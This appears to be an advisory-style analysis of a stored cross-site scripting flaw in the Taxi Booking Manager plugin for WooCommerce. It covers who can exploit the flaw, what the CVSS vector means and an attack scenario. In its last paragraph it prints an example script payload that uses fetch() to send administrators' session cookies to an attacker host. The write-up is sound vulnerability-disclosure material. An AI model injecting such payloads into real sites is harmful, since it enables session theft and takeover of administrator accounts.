Taxi Booking Manager for WooCommerce CVE-2026-28040

Exploitation requires the attacker to have authenticated access to the WordPress admin area with at least low-privilege user permissions (PR:L). The Taxi Booking Manager plugin must be installed and activated. The attacker must identify an input field in the plugin that is stored in the database without sanitization (such as booking notes, driver details, passenger information, or similar form fields). After injecting the payload, another user (typically an administrator or staff member with higher privileges) must visit the page where the stored payload is displayed - the UI requirement (UI:R) means the stored XSS does not execute passively but requires a second user to view or interact with the infected content. Default WordPress installations with this plugin active and multiple user accounts are vulnerable. Non-default configurations with strict user role management or disabled booking features would reduce exposure.

CVSS 6.5 indicates medium severity with network attack vector, low complexity, and low privilege requirements. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:C) shows that exploitation requires authentication (PR:L) and user interaction (UI:R), which moderates the practical risk compared to unauthenticated exploits. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component. No EPSS score, KEV status, or public exploit code was provided in the input data, suggesting this is not yet in widespread active exploitation, though the stored nature of the XSS and the low privilege requirement to trigger it represent a real threat to WordPress installations with this plugin. The presence of a Patchstack report and the specific version designation (through 2.0.0) indicate this is a known, documented issue rather than a zero-day. The UI requirement partially mitigates risk since it requires another user to interact with the malicious payload, but this is not a strong control in practice for WordPress admin dashboards where users routinely click links.

A low-privilege WordPress user (such as a taxi booking agent or shop manager) logs into the WooCommerce admin dashboard and accesses a form field in the Taxi Booking Manager plugin that accepts booking details, driver information, or customer notes without proper input validation. The attacker injects JavaScript code (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into one of these fields. Because the plugin stores this input directly in the database and renders it without escaping when administrators or other users view booking records, the malicious script executes in the admin's browser, allowing the attacker to steal session cookies or perform actions on behalf of the administrator.